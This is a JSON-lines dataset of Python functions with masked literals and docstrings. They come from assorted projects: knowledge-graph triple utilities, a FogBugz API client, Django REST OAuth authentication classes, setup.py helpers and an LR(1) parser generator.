{"signature": "def new_user(yaml_path):", "body": "print('<STR_LIT>')<EOL>api_key = input('<STR_LIT>')<EOL>tokens = {<EOL>'<STR_LIT>': api_key,<EOL>}<EOL>yaml_file = open(yaml_path, '<STR_LIT>')<EOL>yaml.dump(tokens, yaml_file, indent=<NUM_LIT:2>)<EOL>yaml_file.close()<EOL>return tokens<EOL>", "docstring": "Return the consumer and oauth tokens with three-legged OAuth process and\nsave in a yaml file in the user's home directory.", "id": "f10533:m0"}
{"signature": "def build_index_and_mapping(triples):", "body": "ents = bidict()<EOL>rels = bidict()<EOL>ent_id = <NUM_LIT:0><EOL>rel_id = <NUM_LIT:0><EOL>collected = []<EOL>for t in triples:<EOL><INDENT>for e in (t.head, t.tail):<EOL><INDENT>if e not in ents:<EOL><INDENT>ents[e] = ent_id<EOL>ent_id += <NUM_LIT:1><EOL><DEDENT><DEDENT>if t.relation not in rels:<EOL><INDENT>rels[t.relation] = rel_id<EOL>rel_id += <NUM_LIT:1><EOL><DEDENT>collected.append(kgedata.TripleIndex(ents[t.head], rels[t.relation], ents[t.tail]))<EOL><DEDENT>return collected, ents, rels<EOL>", "docstring": "index all triples into indexes and return their mappings", "id": "f10537:m0"}
{"signature": "def recover_triples_from_mapping(indexes, ents: bidict, rels: bidict):", "body": "triples = []<EOL>for t in indexes:<EOL><INDENT>triples.append(kgedata.Triple(ents.inverse[t.head], rels.inverse[t.relation], ents.inverse[t.tail]))<EOL><DEDENT>return triples<EOL>", "docstring": "recover triples from mapping.", "id": "f10537:m1"}
{"signature": "def unpack(triple):", "body": "return triple.head, triple.relation, triple.tail<EOL>", "docstring": "unpacks triple into (h, r, t). Can take Triple or TripleIndex.", "id": "f10537:m2"}
{"signature": "def shuffle_triples(triples):", "body": "return np.random.permutation(triples)<EOL>", "docstring": "Shuffle triples.", "id": "f10537:m3"}
{"signature": "def _transform_triple_numpy(x):", "body": "return np.array([x.head, x.relation, x.tail], dtype=np.int64)<EOL>", "docstring": "Transform triple index into a 1-D numpy array.", "id": "f10537:m5"}
{"signature": "def pack_triples_numpy(triples):", "body": "if len(triples) == <NUM_LIT:0>:<EOL><INDENT>return np.array([], dtype=np.int64)<EOL><DEDENT>return np.stack(list(map(_transform_triple_numpy, triples)), axis=<NUM_LIT:0>)<EOL>", "docstring": "Packs a list of triple indexes into a 2D numpy array.", "id": "f10537:m6"}
{"signature": "def remove_near_duplicate_relation(triples, threshold=<NUM_LIT>):", "body": "logging.debug(\"<STR_LIT>\")<EOL>_assert_threshold(threshold)<EOL>duplicate_rel_counter = defaultdict(list)<EOL>relations = set()<EOL>for t in triples:<EOL><INDENT>duplicate_rel_counter[t.relation].append(f\"<STR_LIT>\")<EOL>relations.add(t.relation)<EOL><DEDENT>relations = list(relations)<EOL>num_triples = len(triples)<EOL>removal_relation_set = set()<EOL>for rel, values in duplicate_rel_counter.items():<EOL><INDENT>duplicate_rel_counter[rel] = Superminhash(values)<EOL><DEDENT>for i in relations:<EOL><INDENT>for j in relations:<EOL><INDENT>if i == j or i in removal_relation_set or j in removal_relation_set: continue<EOL>close_relations = [i]<EOL>if _set_close_to(duplicate_rel_counter[i], duplicate_rel_counter[j], threshold):<EOL><INDENT>close_relations.append(j)<EOL><DEDENT><DEDENT>if len(close_relations) > <NUM_LIT:1>:<EOL><INDENT>close_relations.pop(np.random.randint(len(close_relations)))<EOL>removal_relation_set |= set(close_relations)<EOL><DEDENT><DEDENT>logging.info(\"<STR_LIT>\".format(len(removal_relation_set), str(removal_relation_set)))<EOL>return list(filterfalse(lambda x: x.relation in removal_relation_set, triples))<EOL>", "docstring": "If entity pairs in a relation is as close as another relations, only keep one relation of such set.", "id": "f10537:m10"}
{"signature": "def remove_inverse_relation(triples, threshold=<NUM_LIT>):", "body": "logging.debug(\"<STR_LIT>\")<EOL>_assert_threshold(threshold)<EOL>rel_counter = defaultdict(list)<EOL>inverse_rel_counter = defaultdict(list)<EOL>relations = set()<EOL>for t in triples:<EOL><INDENT>rel_counter[t.relation].append(f\"<STR_LIT>\")<EOL>inverse_rel_counter[t.relation].append(f\"<STR_LIT>\")<EOL>relations.add(t.relation)<EOL><DEDENT>relations = list(relations)<EOL>for rel, values in rel_counter.items():<EOL><INDENT>rel_counter[rel] = Superminhash(values)<EOL><DEDENT>for rel, values in inverse_rel_counter.items():<EOL><INDENT>inverse_rel_counter[rel] = Superminhash(values)<EOL><DEDENT>num_triples = len(triples)<EOL>removal_relation_set = set()<EOL>for i in relations:<EOL><INDENT>if i in removal_relation_set: continue<EOL>close_relations = [i]<EOL>for j in relations:<EOL><INDENT>if i == j or j in removal_relation_set: continue<EOL>if _set_close_to(rel_counter[i], inverse_rel_counter[j], threshold):<EOL><INDENT>close_relations.append(j)<EOL><DEDENT><DEDENT>if len(close_relations) > <NUM_LIT:1>:<EOL><INDENT>close_relations.pop(np.random.randint(len(close_relations)))<EOL>removal_relation_set |= set(close_relations)<EOL><DEDENT><DEDENT>logging.info(\"<STR_LIT>\".format(len(removal_relation_set), str(removal_relation_set)))<EOL>return list(filterfalse(lambda x: x.relation in removal_relation_set, triples))<EOL>", "docstring": "if entity pairs in a relation overlaps its reverse pairs in another relation, only keep one relation of such set.", "id": "f10537:m11"}
{"signature": "def shrink_indexes_in_place(self, triples):", "body": "_ent_roots = self.UnionFind(self._ent_id)<EOL>_rel_roots = self.UnionFind(self._rel_id)<EOL>for t in triples:<EOL><INDENT>_ent_roots.add(t.head)<EOL>_ent_roots.add(t.tail)<EOL>_rel_roots.add(t.relation)<EOL><DEDENT>for i, t in enumerate(triples):<EOL><INDENT>h = _ent_roots.find(t.head)<EOL>r = _rel_roots.find(t.relation)<EOL>t = _ent_roots.find(t.tail)<EOL>triples[i] = kgedata.TripleIndex(h, r, t)<EOL><DEDENT>ents = bidict()<EOL>available_ent_idx = <NUM_LIT:0><EOL>for previous_idx, ent_exist in enumerate(_ent_roots.roots()):<EOL><INDENT>if not ent_exist:<EOL><INDENT>self._ents.inverse.pop(previous_idx)<EOL><DEDENT>else:<EOL><INDENT>ents[self._ents.inverse[previous_idx]] = available_ent_idx<EOL><DEDENT>available_ent_idx += <NUM_LIT:1><EOL><DEDENT>rels = bidict()<EOL>available_rel_idx = <NUM_LIT:0><EOL>for previous_idx, rel_exist in enumerate(_rel_roots.roots()):<EOL><INDENT>if not rel_exist:<EOL><INDENT>self._rels.inverse.pop(previous_idx)<EOL><DEDENT>else:<EOL><INDENT>rels[self._rels.inverse[previous_idx]] = available_rel_idx<EOL><DEDENT>available_rel_idx += <NUM_LIT:1><EOL><DEDENT>self._ents = ents<EOL>self._rels = rels<EOL>self._ent_id = available_ent_idx<EOL>self._rel_id = available_rel_idx<EOL>", "docstring": "Uses a union find to find segment.", "id": "f10537:c0:m3"}
{"signature": "def read_labels(filename, delimiter=DEFAULT_DELIMITER):", "body": "_assert_good_file(filename)<EOL>with open(filename) as f:<EOL><INDENT>labels = [_label_processing(l, delimiter) for l in f]<EOL>return labels<EOL><DEDENT>", "docstring": "read label files. Format: ent label", "id": "f10541:m6"}
{"signature": "def write_index_translation(translation_filename, entity_ids, relation_ids):", "body": "translation = triple_pb.Translation()<EOL>entities = []<EOL>for name, index in entity_ids.items():<EOL><INDENT>translation.entities.add(element=name, index=index)<EOL><DEDENT>relations = []<EOL>for name, index in relation_ids.items():<EOL><INDENT>translation.relations.add(element=name, index=index)<EOL><DEDENT>with open(translation_filename, \"<STR_LIT:wb>\") as f:<EOL><INDENT>f.write(translation.SerializeToString())<EOL><DEDENT>", "docstring": "write triples into a translation file.", "id": "f10541:m7"}
{"signature": "def write_triples(filename, triples, delimiter=DEFAULT_DELIMITER, triple_order=\"<STR_LIT>\"):", "body": "with open(filename, '<STR_LIT:w>') as f:<EOL><INDENT>for t in triples:<EOL><INDENT>line = t.serialize(delimiter, triple_order)<EOL>f.write(line + \"<STR_LIT:\\n>\")<EOL><DEDENT><DEDENT>", "docstring": "write triples to file.", "id": "f10541:m8"}
{"signature": "def read_translation(filename):", "body": "translation = triple_pb.Translation()<EOL>with open(filename, \"<STR_LIT:rb>\") as f:<EOL><INDENT>translation.ParseFromString(f.read())<EOL><DEDENT>def unwrap_translation_units(units):<EOL><INDENT>for u in units: yield u.element, u.index<EOL><DEDENT>return (list(unwrap_translation_units(translation.entities)),<EOL>list(unwrap_translation_units(translation.relations)))<EOL>", "docstring": "Returns protobuf mapcontainer. Read from translation file.", "id": "f10541:m9"}
{"signature": "def read_openke_translation(filename, delimiter='<STR_LIT:\\t>', entity_first=True):", "body": "result = {}<EOL>with open(filename, \"<STR_LIT:r>\") as f:<EOL><INDENT>_ = next(f) <EOL>for line in f:<EOL><INDENT>line_slice = line.rstrip().split(delimiter)<EOL>if not entity_first:<EOL><INDENT>line_slice = list(reversed(line_slice))<EOL><DEDENT>result[line_slice[<NUM_LIT:0>]] = line_slice[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Returns map with entity or relations from plain text.", "id": "f10541:m10"}
{"signature": "def strip_labels(filename):", "body": "labels = []<EOL>with open(filename) as f, open('<STR_LIT>', '<STR_LIT:w>') as f1:<EOL><INDENT>for l in f:<EOL><INDENT>if l.startswith('<STR_LIT:#>'):<EOL><INDENT>next<EOL><DEDENT>l = l.replace(\"<STR_LIT>\", '<STR_LIT>')<EOL>l = l.replace(\"<STR_LIT>\", '<STR_LIT:U+0020>')<EOL>l = l.replace(\"<STR_LIT:<>\", '<STR_LIT>')<EOL>l = l.replace(\"<STR_LIT>\", '<STR_LIT:U+0020>')<EOL>f1.write(l)<EOL><DEDENT><DEDENT>", "docstring": "Strips labels.", "id": "f10551:m0"}
{"signature": "def logon(self, username, password):", "body": "if self._token:<EOL><INDENT>self.logoff()<EOL><DEDENT>try:<EOL><INDENT>response = self.__makerequest(<EOL>'<STR_LIT>', email=username, password=password)<EOL><DEDENT>except FogBugzAPIError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>raise FogBugzLogonError(e)<EOL><DEDENT>self._token = response.token.string<EOL>if type(self._token) == CData:<EOL><INDENT>self._token = self._token.encode('<STR_LIT:utf-8>')<EOL><DEDENT>", "docstring": "Logs the user on to FogBugz.\n\nReturns None for a successful login.", "id": "f10557:c4:m1"}
{"signature": "def logoff(self):", "body": "self.__makerequest('<STR_LIT>')<EOL>self._token = None<EOL>", "docstring": "Logs off the current user.", "id": "f10557:c4:m2"}
{"signature": "def token(self, token):", "body": "self._token = token<EOL>", "docstring": "Set the token without actually logging on.  More secure.", "id": "f10557:c4:m3"}
{"signature": "def __encode_multipart_formdata(self, fields, files):", "body": "BOUNDARY = _make_boundary()<EOL>if len(files) > <NUM_LIT:0>:<EOL><INDENT>fields['<STR_LIT>'] = str(len(files))<EOL><DEDENT>crlf = '<STR_LIT:\\r\\n>'<EOL>buf = BytesIO()<EOL>for k, v in fields.items():<EOL><INDENT>if DEBUG:<EOL><INDENT>print(\"<STR_LIT>\" % (repr(k), repr(v)))<EOL><DEDENT>lines = [<EOL>'<STR_LIT>' + BOUNDARY,<EOL>'<STR_LIT>' % k,<EOL>'<STR_LIT>',<EOL>str(v),<EOL>'<STR_LIT>',<EOL>]<EOL>buf.write(crlf.join(lines).encode('<STR_LIT:utf-8>'))<EOL><DEDENT>n = <NUM_LIT:0><EOL>for f, h in files.items():<EOL><INDENT>n += <NUM_LIT:1><EOL>lines = [<EOL>'<STR_LIT>' + BOUNDARY,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (n, f),<EOL>'<STR_LIT>',<EOL>]<EOL>buf.write(crlf.join(lines).encode('<STR_LIT:utf-8>'))<EOL>lines = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>]<EOL>buf.write(crlf.join(lines).encode('<STR_LIT:utf-8>'))<EOL>buf.write(h.read())<EOL>buf.write(crlf.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>buf.write(('<STR_LIT>' + BOUNDARY + '<STR_LIT>' + crlf).encode('<STR_LIT:utf-8>'))<EOL>content_type = \"<STR_LIT>\" % BOUNDARY<EOL>return content_type, buf.getvalue()<EOL>", "docstring": "fields is a sequence of (key, value) elements for regular form fields.\nfiles is a sequence of (filename, filehandle) files to be uploaded\nreturns (content_type, body)", "id": "f10557:c4:m4"}
{"signature": "def __getattr__(self, name):", "body": "<EOL>if name.startswith(\"<STR_LIT>\"):<EOL><INDENT>raise AttributeError(\"<STR_LIT>\" % name)<EOL><DEDENT>if name not in self.__handlerCache:<EOL><INDENT>def handler(**kwargs):<EOL><INDENT>return self.__makerequest(name, **kwargs)<EOL><DEDENT>self.__handlerCache[name] = handler<EOL><DEDENT>return self.__handlerCache[name]<EOL>", "docstring": "Handle all FogBugz API calls. Example::\n\n    fb.logon(email@example.com, password)\n    response = fb.search(q=\"assignedto:email\")", "id": "f10557:c4:m6"}
{"signature": "def get_transition_viewset_method(transition_name, **kwargs):", "body": "@detail_route(methods=['<STR_LIT>'], **kwargs)<EOL>def inner_func(self, request, pk=None, **kwargs):<EOL><INDENT>object = self.get_object()<EOL>transition_method = getattr(object, transition_name)<EOL>transition_method(by=self.request.user)<EOL>if self.save_after_transition:<EOL><INDENT>object.save()<EOL><DEDENT>serializer = self.get_serializer(object)<EOL>return Response(serializer.data)<EOL><DEDENT>return inner_func<EOL>", "docstring": "Create a viewset method for the provided `transition_name`", "id": "f10559:m0"}
{"signature": "def get_viewset_transition_action_mixin(model, **kwargs):", "body": "instance = model()<EOL>class Mixin(object):<EOL><INDENT>save_after_transition = True<EOL><DEDENT>transitions = instance.get_all_status_transitions()<EOL>transition_names = set(x.name for x in transitions)<EOL>for transition_name in transition_names:<EOL><INDENT>setattr(<EOL>Mixin,<EOL>transition_name,<EOL>get_transition_viewset_method(transition_name, **kwargs)<EOL>)<EOL><DEDENT>return Mixin<EOL>", "docstring": "Find all transitions defined on `model`, then create a corresponding\nviewset action method for each and apply it to `Mixin`. Finally, return\n`Mixin`", "id": "f10559:m1"}
{"signature": "def process_macros(self, content: str) -> str:", "body": "def _sub(macro):<EOL><INDENT>name = macro.group('<STR_LIT:body>')<EOL>params = self.get_options(macro.group('<STR_LIT>'))<EOL>return self.options['<STR_LIT>'].get(name, '<STR_LIT>').format_map(params)<EOL><DEDENT>return self.pattern.sub(_sub, content)<EOL>", "docstring": "Replace macros with content defined in the config.\n\n        :param content: Markdown content\n\n        :returns: Markdown content without macros", "id": "f10561:c0:m0"}
{"signature": "def authenticate(self, request):", "body": "try:<EOL><INDENT>oauth_request = oauth_provider.utils.get_oauth_request(request)<EOL><DEDENT>except oauth.Error as err:<EOL><INDENT>raise exceptions.AuthenticationFailed(err.message)<EOL><DEDENT>if not oauth_request:<EOL><INDENT>return None<EOL><DEDENT>oauth_params = oauth_provider.consts.OAUTH_PARAMETERS_NAMES<EOL>found = any(param for param in oauth_params if param in oauth_request)<EOL>missing = list(param for param in oauth_params if param not in oauth_request)<EOL>if not found:<EOL><INDENT>return None<EOL><DEDENT>if missing:<EOL><INDENT>msg = '<STR_LIT>' % ('<STR_LIT:U+002CU+0020>'.join(missing))<EOL>raise exceptions.AuthenticationFailed(msg)<EOL><DEDENT>if not self.check_nonce(request, oauth_request):<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise exceptions.AuthenticationFailed(msg)<EOL><DEDENT>try:<EOL><INDENT>consumer_key = oauth_request.get_parameter('<STR_LIT>')<EOL>consumer = oauth_provider_store.get_consumer(request, oauth_request, consumer_key)<EOL><DEDENT>except oauth_provider.store.InvalidConsumerError:<EOL><INDENT>msg = '<STR_LIT>' % oauth_request.get_parameter('<STR_LIT>')<EOL>raise exceptions.AuthenticationFailed(msg)<EOL><DEDENT>if consumer.status != oauth_provider.consts.ACCEPTED:<EOL><INDENT>msg = '<STR_LIT>' % consumer.get_status_display()<EOL>raise exceptions.AuthenticationFailed(msg)<EOL><DEDENT>try:<EOL><INDENT>token_param = oauth_request.get_parameter('<STR_LIT>')<EOL>token = oauth_provider_store.get_access_token(request, oauth_request, consumer, token_param)<EOL><DEDENT>except oauth_provider.store.InvalidTokenError:<EOL><INDENT>msg = '<STR_LIT>' % oauth_request.get_parameter('<STR_LIT>')<EOL>raise exceptions.AuthenticationFailed(msg)<EOL><DEDENT>try:<EOL><INDENT>self.validate_token(request, consumer, token)<EOL><DEDENT>except oauth.Error as err:<EOL><INDENT>raise exceptions.AuthenticationFailed(err.message)<EOL><DEDENT>user = token.user<EOL>if not user.is_active:<EOL><INDENT>msg = '<STR_LIT>' % user.username<EOL>raise exceptions.AuthenticationFailed(msg)<EOL><DEDENT>return (token.user, token)<EOL>", "docstring": "Returns two-tuple of (user, token) if authentication succeeds,\nor None otherwise.", "id": "f10563:c0:m1"}
{"signature": "def authenticate_header(self, request):", "body": "return '<STR_LIT>' % self.www_authenticate_realm<EOL>", "docstring": "If permission is denied, return a '401 Unauthorized' response,\nwith an appropraite 'WWW-Authenticate' header.", "id": "f10563:c0:m2"}
{"signature": "def validate_token(self, request, consumer, token):", "body": "oauth_server, oauth_request = oauth_provider.utils.initialize_server_request(request)<EOL>oauth_server.verify_request(oauth_request, consumer, token)<EOL>", "docstring": "Check the token and raise an `oauth.Error` exception if invalid.", "id": "f10563:c0:m3"}
{"signature": "def check_nonce(self, request, oauth_request):", "body": "oauth_nonce = oauth_request['<STR_LIT>']<EOL>oauth_timestamp = oauth_request['<STR_LIT>']<EOL>return check_nonce(request, oauth_request, oauth_nonce, oauth_timestamp)<EOL>", "docstring": "Checks nonce of request, and return True if valid.", "id": "f10563:c0:m4"}
{"signature": "def authenticate(self, request):", "body": "auth = get_authorization_header(request).split()<EOL>if len(auth) == <NUM_LIT:1>:<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise exceptions.AuthenticationFailed(msg)<EOL><DEDENT>elif len(auth) > <NUM_LIT:2>:<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise exceptions.AuthenticationFailed(msg)<EOL><DEDENT>if auth and auth[<NUM_LIT:0>].lower() == b'<STR_LIT>':<EOL><INDENT>access_token = auth[<NUM_LIT:1>]<EOL><DEDENT>elif '<STR_LIT>' in request.POST:<EOL><INDENT>access_token = request.POST['<STR_LIT>']<EOL><DEDENT>elif '<STR_LIT>' in request.GET and self.allow_query_params_token:<EOL><INDENT>access_token = request.GET['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>return self.authenticate_credentials(request, access_token)<EOL>", "docstring": "Returns two-tuple of (user, token) if authentication succeeds,\nor None otherwise.", "id": "f10563:c1:m1"}
{"signature": "def authenticate_credentials(self, request, access_token):", "body": "try:<EOL><INDENT>token = oauth2_provider.oauth2.models.AccessToken.objects.select_related('<STR_LIT:user>')<EOL>token = token.get(token=access_token, expires__gt=provider_now())<EOL><DEDENT>except oauth2_provider.oauth2.models.AccessToken.DoesNotExist:<EOL><INDENT>raise exceptions.AuthenticationFailed('<STR_LIT>')<EOL><DEDENT>user = token.user<EOL>if not user.is_active:<EOL><INDENT>msg = '<STR_LIT>' % user.get_username()<EOL>raise exceptions.AuthenticationFailed(msg)<EOL><DEDENT>return (user, token)<EOL>", "docstring": "Authenticate the request, given the access token.", "id": "f10563:c1:m2"}
{"signature": "def authenticate_header(self, request):", "body": "return '<STR_LIT>' % self.www_authenticate_realm<EOL>", "docstring": "Bearer is the only finalized type currently\nCheck details on the `OAuth2Authentication.authenticate` method", "id": "f10563:c1:m3"}
{"signature": "def get_version(package):", "body": "init_py = open(os.path.join(package, '<STR_LIT>')).read()<EOL>return re.search(\"<STR_LIT>\",<EOL>init_py, re.MULTILINE).group(<NUM_LIT:1>)<EOL>", "docstring": "Return package version as listed in `__version__` in `init.py`.", "id": "f10569:m0"}
{"signature": "def get_packages(package):", "body": "return [dirpath<EOL>for dirpath, dirnames, filenames in os.walk(package)<EOL>if os.path.exists(os.path.join(dirpath, '<STR_LIT>'))]<EOL>", "docstring": "Return root package and all sub-packages.", "id": "f10569:m1"}
{"signature": "def get_package_data(package):", "body": "walk = [(dirpath.replace(package + os.sep, '<STR_LIT>', <NUM_LIT:1>), filenames)<EOL>for dirpath, dirnames, filenames in os.walk(package)<EOL>if not os.path.exists(os.path.join(dirpath, '<STR_LIT>'))]<EOL>filepaths = []<EOL>for base, filenames in walk:<EOL><INDENT>filepaths.extend([os.path.join(base, filename)<EOL>for filename in filenames])<EOL><DEDENT>return {package: filepaths}<EOL>", "docstring": "Return all files under the root package, that are not in a\npackage themselves.", "id": "f10569:m2"}
{"signature": "def move_dot(self):", "body": "return self.__class__(self.production, self.pos + <NUM_LIT:1>, self.lookahead)<EOL>", "docstring": "Returns the DottedRule that results from moving the dot.", "id": "f10574:c1:m7"}
{"signature": "def first(self, symbols):", "body": "ret = set()<EOL>if EPSILON in symbols:<EOL><INDENT>return set([EPSILON])<EOL><DEDENT>for symbol in symbols:<EOL><INDENT>ret |= self._first[symbol] - set([EPSILON])<EOL>if EPSILON not in self._first[symbol]:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ret.add(EPSILON)<EOL><DEDENT>return ret<EOL>", "docstring": "Computes the intermediate FIRST set using symbols.", "id": "f10574:c2:m1"}
{"signature": "def _compute_first(self):", "body": "for terminal in self.terminals:<EOL><INDENT>self._first[terminal].add(terminal)<EOL><DEDENT>self._first[END_OF_INPUT].add(END_OF_INPUT)<EOL>while True:<EOL><INDENT>changed = False<EOL>for nonterminal, productions in self.nonterminals.items():<EOL><INDENT>for production in productions:<EOL><INDENT>new_first = self.first(production.rhs)<EOL>if new_first - self._first[nonterminal]:<EOL><INDENT>self._first[nonterminal] |= new_first<EOL>changed = True<EOL><DEDENT><DEDENT><DEDENT>if not changed:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Computes the FIRST set for every symbol in the grammar.\n\n        Tenatively based on _compute_first in PLY.", "id": "f10574:c2:m2"}
{"signature": "def _compute_follow(self):", "body": "self._follow[self.start_symbol].add(END_OF_INPUT)<EOL>while True:<EOL><INDENT>changed = False<EOL>for nonterminal, productions in self.nonterminals.items():<EOL><INDENT>for production in productions:<EOL><INDENT>for i, symbol in enumerate(production.rhs):<EOL><INDENT>if symbol not in self.nonterminals:<EOL><INDENT>continue<EOL><DEDENT>first = self.first(production.rhs[i + <NUM_LIT:1>:])<EOL>new_follow = first - set([EPSILON])<EOL>if EPSILON in first or i == (len(production.rhs) - <NUM_LIT:1>):<EOL><INDENT>new_follow |= self._follow[nonterminal]<EOL><DEDENT>if new_follow - self._follow[symbol]:<EOL><INDENT>self._follow[symbol] |= new_follow<EOL>changed = True<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if not changed:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Computes the FOLLOW set for every non-terminal in the grammar.\n\n        Tenatively based on _compute_follow in PLY.", "id": "f10574:c2:m3"}
{"signature": "def initial_closure(self):", "body": "first_rule = DottedRule(self.start, <NUM_LIT:0>, END_OF_INPUT)<EOL>return self.closure([first_rule])<EOL>", "docstring": "Computes the initial closure using the START_foo production.", "id": "f10574:c2:m4"}
{"signature": "def goto(self, rules, symbol):", "body": "return self.closure(<EOL>{rule.move_dot() for rule in rules<EOL>if not rule.at_end and rule.rhs[rule.pos] == symbol},<EOL>)<EOL>", "docstring": "Computes the next closure for rules based on the symbol we got.\n\n        Args:\n            rules - an iterable of DottedRules\n            symbol - a string denoting the symbol we've just seen\n\n        Returns: frozenset of DottedRules", "id": "f10574:c2:m5"}
{"signature": "def closure(self, rules):", "body": "closure = set()<EOL>todo = set(rules)<EOL>while todo:<EOL><INDENT>rule = todo.pop()<EOL>closure.add(rule)<EOL>if rule.at_end:<EOL><INDENT>continue<EOL><DEDENT>symbol = rule.rhs[rule.pos]<EOL>for production in self.nonterminals[symbol]:<EOL><INDENT>for first in self.first(rule.rest):<EOL><INDENT>if EPSILON in production.rhs:<EOL><INDENT>new_rule = DottedRule(production, <NUM_LIT:1>, first)<EOL><DEDENT>else:<EOL><INDENT>new_rule = DottedRule(production, <NUM_LIT:0>, first)<EOL><DEDENT>if new_rule not in closure:<EOL><INDENT>todo.add(new_rule)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return frozenset(closure)<EOL>", "docstring": "Fills out the entire closure based on some initial dotted rules.\n\n        Args:\n            rules - an iterable of DottedRules\n\n        Returns: frozenset of DottedRules", "id": "f10574:c2:m6"}
{"signature": "def closures(self):", "body": "initial = self.initial_closure()<EOL>closures = collections.OrderedDict()<EOL>goto = collections.defaultdict(dict)<EOL>todo = set([initial])<EOL>while todo:<EOL><INDENT>closure = todo.pop()<EOL>closures[closure] = closure<EOL>symbols = {rule.rhs[rule.pos] for rule in closure<EOL>if not rule.at_end}<EOL>for symbol in symbols:<EOL><INDENT>next_closure = self.goto(closure, symbol)<EOL>if next_closure in closures or next_closure in todo:<EOL><INDENT>next_closure = (closures.get(next_closure)<EOL>or todo.get(next_closure))<EOL><DEDENT>else:<EOL><INDENT>closures[next_closure] = next_closure<EOL>todo.add(next_closure)<EOL><DEDENT>goto[closure][symbol] = next_closure<EOL><DEDENT><DEDENT>return initial, closures, goto<EOL>", "docstring": "Computes all LR(1) closure sets for the grammar.", "id": "f10574:c2:m7"}
{"signature": "@staticmethod<EOL><INDENT>def compute_precedence(terminals, productions, precedence_levels):<DEDENT>", "body": "precedence = collections.OrderedDict()<EOL>for terminal in terminals:<EOL><INDENT>precedence[terminal] = DEFAULT_PREC<EOL><DEDENT>level_precs = range(len(precedence_levels), <NUM_LIT:0>, -<NUM_LIT:1>)<EOL>for i, level in zip(level_precs, precedence_levels):<EOL><INDENT>assoc = level[<NUM_LIT:0>]<EOL>for symbol in level[<NUM_LIT:1>:]:<EOL><INDENT>precedence[symbol] = (assoc, i)<EOL><DEDENT><DEDENT>for production, prec_symbol in productions:<EOL><INDENT>if prec_symbol is None:<EOL><INDENT>prod_terminals = [symbol for symbol in production.rhs<EOL>if symbol in terminals] or [None]<EOL>precedence[production] = precedence.get(prod_terminals[-<NUM_LIT:1>],<EOL>DEFAULT_PREC)<EOL><DEDENT>else:<EOL><INDENT>precedence[production] = precedence.get(prec_symbol,<EOL>DEFAULT_PREC)<EOL><DEDENT><DEDENT>return precedence<EOL>", "docstring": "Computes the precedence of terminal and production.\n\n        The precedence of a terminal is it's level in the PRECEDENCE tuple. For\n        a production, the precedence is the right-most terminal (if it exists).\n        The default precedence is DEFAULT_PREC - (LEFT, 0).\n\n        Returns:\n            precedence - dict[terminal | production] = (assoc, level)", "id": "f10580:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def make_tables(grammar, precedence):<DEDENT>", "body": "ACTION = {}<EOL>GOTO = {}<EOL>labels = {}<EOL>def get_label(closure):<EOL><INDENT>if closure not in labels:<EOL><INDENT>labels[closure] = len(labels)<EOL><DEDENT>return labels[closure]<EOL><DEDENT>def resolve_shift_reduce(lookahead, s_action, r_action):<EOL><INDENT>s_assoc, s_level = precedence[lookahead]<EOL>r_assoc, r_level = precedence[r_action[<NUM_LIT:1>]]<EOL>if s_level < r_level:<EOL><INDENT>return r_action<EOL><DEDENT>elif s_level == r_level and r_assoc == LEFT:<EOL><INDENT>return r_action<EOL><DEDENT>else:<EOL><INDENT>return s_action<EOL><DEDENT><DEDENT>initial, closures, goto = grammar.closures()<EOL>for closure in closures:<EOL><INDENT>label = get_label(closure)<EOL>for rule in closure:<EOL><INDENT>new_action, lookahead = None, rule.lookahead<EOL>if not rule.at_end:<EOL><INDENT>symbol = rule.rhs[rule.pos]<EOL>is_terminal = symbol in grammar.terminals<EOL>has_goto = symbol in goto[closure]<EOL>if is_terminal and has_goto:<EOL><INDENT>next_state = get_label(goto[closure][symbol])<EOL>new_action, lookahead = ('<STR_LIT>', next_state), symbol<EOL><DEDENT><DEDENT>elif rule.production == grammar.start and rule.at_end:<EOL><INDENT>new_action = ('<STR_LIT>',)<EOL><DEDENT>elif rule.at_end:<EOL><INDENT>new_action = ('<STR_LIT>', rule.production)<EOL><DEDENT>if new_action is None:<EOL><INDENT>continue<EOL><DEDENT>prev_action = ACTION.get((label, lookahead))<EOL>if prev_action is None or prev_action == new_action:<EOL><INDENT>ACTION[label, lookahead] = new_action<EOL><DEDENT>else:<EOL><INDENT>types = (prev_action[<NUM_LIT:0>], new_action[<NUM_LIT:0>])<EOL>if types == ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>chosen = resolve_shift_reduce(lookahead,<EOL>prev_action,<EOL>new_action)<EOL><DEDENT>elif types == ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>chosen = resolve_shift_reduce(lookahead,<EOL>new_action,<EOL>prev_action)<EOL><DEDENT>else:<EOL><INDENT>raise TableConflictError(prev_action, new_action)<EOL><DEDENT>ACTION[label, lookahead] = chosen<EOL><DEDENT><DEDENT>for symbol in grammar.nonterminals:<EOL><INDENT>if symbol in goto[closure]:<EOL><INDENT>GOTO[label, symbol] = get_label(goto[closure][symbol])<EOL><DEDENT><DEDENT><DEDENT>return get_label(initial), ACTION, GOTO<EOL>", "docstring": "Generates the ACTION and GOTO tables for the grammar.\n\n        Returns:\n            action - dict[state][lookahead] = (action, ...)\n            goto - dict[state][just_reduced] = new_state", "id": "f10580:c0:m2"}
